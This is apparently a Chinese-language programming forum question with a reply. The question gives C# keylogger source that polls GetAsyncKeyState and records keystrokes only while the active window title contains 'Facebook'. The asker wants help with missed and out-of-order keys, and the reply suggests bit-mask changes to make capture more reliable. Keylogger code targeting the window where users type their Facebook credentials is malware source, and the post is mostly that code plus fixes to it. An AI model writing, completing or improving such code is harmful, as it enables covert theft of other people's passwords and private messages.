我有下面的代码,如果活动窗口标题包含“ Facebook”,它会捕获击键,但是,在测试时...我没有按到确切的按键顺序,而有些键却遗漏了...我该怎么办?该做些改进吗?
例如:如果我输入“ ALI”,我将得到“ AIL”打印输出
[DllImport("user32.dll")]
public static extern int GetAsyncKeyState(Int32 i);
[DllImport("user32.dll")]
private static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll")]
static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
static void Main(string[] args)
{
while (true)
{
string WindowTitle = GetActiveWindowTitle();
if (WindowTitle == null)
return;
if (WindowTitle.Contains("Facebook"))
{
for (int i = 0; i < 255; i++)
{
int state = GetAsyncKeyState(i);
if (state == 1 || state == -32767)
{
Console.WriteLine((Keys)i);
}
}
}
Thread.Sleep(1000);
}
}
private static string GetActiveWindowTitle()
{
const int chars = 256;
StringBuilder buff = new StringBuilder(chars);
IntPtr handle = GetForegroundWindow();
if (GetWindowText(handle, buff, chars) > 0)
{
return buff.ToString();
}
return null;
}
更改这些:
[DllImport("user32.dll")]
public static extern ushort GetAsyncKeyState(Int32 i);
和
if ((state & 0x0001) != 0 || (state & 0x8000) != 0 )
{
Console.WriteLine((Keys)i);
}
但不确定是否能正常工作?